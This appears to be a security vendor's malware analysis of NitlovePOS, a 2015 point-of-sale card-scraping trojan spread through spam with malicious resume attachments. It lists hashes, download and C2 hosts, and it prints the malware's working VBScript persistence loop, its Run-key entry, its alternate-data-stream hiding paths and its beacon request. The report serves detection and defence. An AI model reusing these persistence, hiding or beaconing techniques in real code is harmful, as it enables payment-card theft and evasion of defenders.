There has been a proliferation
of malware specifically designed to extract payment card
information from Point-of-Sale (POS) systems over the last two years.
In 2015, there have already been a variety of new POS malware
identified including a new Alina
variant, FighterPOS
and Punkey.
During our research into a widespread spam campaign, we discovered yet
another POS malware that we’ve named NitlovePOS.
The NitlovePOS malware can capture and ex-filtrate track one and
track two payment card data by scanning the running processes of a
compromised machine. It then sends this data to a webserver using SSL.
We believe the cybercriminals assess the hosts compromised via
indiscriminate spam campaigns and instruct specific victims to
download the POS malware.
Propagation
We have been monitoring an indiscriminate spam campaign that started
on Wednesday, May 20, 2015. The spam emails referred to possible
employment opportunities and purported to have a resume attached. The
“From” email addresses were spoofed Yahoo! Mail accounts and contained
the following “Subject” lines:
Subject: Any Jobs?
Subject: Any openings?
Subject: Internship
Subject: Internship questions
Subject: Internships?
Subject: Job Posting
Subject: Job questions
Subject: My Resume
Subject: Openings?
The email came with an attachment named CV_[4
numbers].doc or My_Resume_[4 numbers].doc, which is embedded
with a malicious macro. To trick the recipient into enabling the
malicious macro, the document claims to be a “protected document.”
If enabled, the malicious macro will download and execute a
malicious executable from 80.242.123.155/exe/dro.exe. The cybercriminals
behind this operation have been updating the payload. So far, we have observed:
e6531d4c246ecf82a2fd959003d76cca dro.exe
600e5df303765ff73dccff1c3e37c03a dro.exe
These payloads beacon to the same server from which they are
downloaded and receive instructions to download additional malware
hosted on this server. This server contains a wide variety of malware:
6545d2528460884b24bf6d53b721bf9e 5dro.exe
e339fce54e2ff6e9bd3a5c9fe6a214ea AndroSpread.exe
9e208e9d516f27fd95e8d165bd7911e8 AndroSpread.exe
abc69e0d444536e41016754cfee3ff90 dr2o.exe
e6531d4c246ecf82a2fd959003d76cca dro.exe
600e5df303765ff73dccff1c3e37c03a dro.exe
c8b0769eb21bb103b8fbda8ddaea2806 jews2.exe
4d877072fd81b5b18c2c585f5a58a56e load33.exe
9c6398de0101e6b3811cf35de6fc7b79 load.exe
ac8358ce51bbc7f7515e656316e23f8d Pony.exe
3309274e139157762b5708998d00cee0 Pony.exe
b3962f61a4819593233aa5893421c4d1 pos.exe
6cdd93dcb1c54a4e2b036d2e13b51216 pos.exe
We focused on the “pos.exe” malware and suspected that it maybe
targeted Point of Sale machines. We speculate that once the attackers
have identified a potentially interesting host form among their
victims, they can then instruct the victim to download the POS
malware. While we have observed many downloads of the various EXE’s
hosed on that server, we have only observed three downloads of “pos.exe”.
Technical Analysis
We analyzed the “pos.exe” (6cdd93dcb1c54a4e2b036d2e13b51216) binary found on
the 80.242.123.155 server. (A new version of
“pos.exe” (b3962f61a4819593233aa5893421c4d1)
was uploaded on May 22, 2015 that has exactly the same malicious
behavior but with different file structure.)
The binary itself is named “TAPIBrowser” and was created on May 20, 2015.
File Name : pos.exe
File Size : 141 kB
MD5: 6cdd93dcb1c54a4e2b036d2e13b51216
File Type : Win32 EXE
Machine Type : Intel 386
or later, and compatibles
Time Stamp :
2015:05:20 09:02:54-07:00
PE Type : PE32
File Description : TAPIBrowser
MFC Application
File Version : 1, 0, 0, 1
Internal Name : TAPIBrowser
Legal Copyright : Copyright
(C) 2000
Legal Trademarks :
Original Filename : TAPIBrowser.EXE
Private Build :
Product Name : TAPIBrowser Application
Product Version : 1, 0, 0, 1:
The structure of the file is awkward; it only contains three
sections: .rdata, .hidata and .rsrc and the entry point located inside .hidata:
When executed, it will copy itself to disk using a well-known hiding
technique via NTFS Alternate Data Streams (ADS) as:
~\Local Settings\Temp:defrag.scr
Then will create a vbs script and save it to disk, again using ADS:
~\Local Settings\Temp:defrag.vbs
By doing this, the files are not visible in the file system and
therefore are more difficult to locate and detect.
Once the malware is running, the “defrag.vbs” script monitors for attempts to delete
the malicious process via InstanceDeletion
Event; it will re-spawn the malware if the process is
terminated. Here is the code contained within “defrag.vbs”:
Set f=CreateObject("Scripting.FileSystemObject")
Set W=CreateObject("WScript.Shell")
Do While
GetObject("winmgmts:Win32_Process").Create(W.ExpandEnvironmentStrings("""%TMP%:Defrag.scr""
-"),n,n,p)=0
GetObject("winmgmts:\\.\root\cimv2").ExecNotificationQuery("Select
* From __InstanceDeletionEvent Within 1 Where TargetInstance ISA
‘Win32_Process’ AND TargetInstance.ProcessID="&p).NextEvent
if(f.FileExists(WScript.ScriptFullName)=false)then
W.Run(W.ExpandEnvironmentStrings("cmd /C /D
type nul > %TMP%:Defrag.scr")), 0, true
Exit Do
End If
Loop
The malware ensures that it will run after every reboot by adding
itself to the Run registry key:
\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\"Defrag"
= wscript "C:\Users\ADMINI~1\AppData\Local\Temp:defrag.vbs"
NitlovePOS expects to be run with the “-“ sign as argument;
otherwise it won’t perform any malicious actions. This technique can
help bypass some methods of detection, particularly those that
leverage automation. Here is an example of how the malware is executed:
\LOCALS~1\Temp:Defrag.scr" –
If the right argument is provided, NitlovePOS will decode itself in
memory and start searching for payment card data. If it is not
successful, NitlovePOS will sleep for five minutes and restart the
searching effort.
NitlovePOS has three main threads:
Thread 1: SSL C2 Communications
Thread 2: MailSlot monitoring waiting for CC.
Thread 3: Memory Scrapping
Thread 1: C2 Communications
NitlovePOS is configured to connect to one of three hardcoded C2 servers:
systeminfou48[.]ru
infofinaciale8h[.]ru
helpdesk7r[.]ru
All three of these domains resolve to the same IP address: 146.185.221.31. This IP address is assigned to a
network located in St. Petersburg, Russia.
As soon as NitlovePOS starts running on the compromised system, it
will initiate a callback via SSL:
POST /derpos/gateway.php HTTP/1.1
User-Agent: nit_love<GUID>
Host: systeminfou48.ru
Content-Length: 41
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
F.r.HWAWAWAWA
<computer name>
<OS Version>
Y
The User-Agent header contains a hardcoded string “nit_love” and the
Machine GUID, which is not necessarily unique but can be used as an
identifier by the cybercriminals. The string “HWAWAWAWA” is hardcoded and may be a unique
campaign identifier; the “F.r.” is calculated per infected host.
Thread 2: MailSlot monitoring waiting for payment card data
A mailslot is basically a shared range of memory that can be used to
store data; the process creating the mailslot acts as the server and
the clients can be other hosts on the same network, local processes on
the machine, or local threads in the same process.
NitlovePOS uses this feature to store payment card information; the
mailslot name that is created comes as a hardcoded string in the
binary (once de-obfuscated);
"\\.\mailslot\95d292040d8c4e31ac54a93ace198142"
Once the mailslot is created, an infinite loop will keep querying
the allocated space.
Thread 3: Memory Scrapping
NitlovePOS scans running processes for payment data and but will
skip System and “System Idle Process.” It will try to match track 1 or
track 2 data and, if found, will write the data into the mailslot
created by Thread 2. This information is then sent via POST it to the
C2 using SSL, which makes network-level detection more difficult.
Possible Control Panel
During our research we observed what appears to be a test control
panel on a different, but probably related, server that matches with
NitlovePOS. This panel is called “nitbot,” which is similar to the
“nit_love” string found in the binary and was located in a directory
called “derpmo” which is similar to the “derpos” used in this case.
The information contained in the NitlovePOS beacon matches the
fields that are displayed in the Nitbot control panel. These include
the machines GIUD that is transmitted in the User-Agent header as well
as an identifier “HWAWAWAWA,” which aligns with the “group name” that
can be used by the cybercriminals to track various campaigns.
The control panel contains a view that lists the “tracks,” or stolen
payment card data. This indicates that this panel is for malware
capable of stealing data from POS machines that matches up with the
capability of the NitlovePOS malware.
Conclusion
Even cybercriminals engaged in indiscriminate spam operations have
POS malware available and can deploy it to s subset of their victims.
Due to the widespread use of POS malware, they are eventually
discovered and detection increases. However, this is followed by the
development of new POS with very similar functionality. Despite the
similarity, the detection levels for new variants are initially quite
low. This gives the cybercriminals a window of opportunity to exploit
the use of a new variant.
We expect that new versions of functionally similar POS malware will
continue to emerge to meet the demand of the cybercrime marketplace.
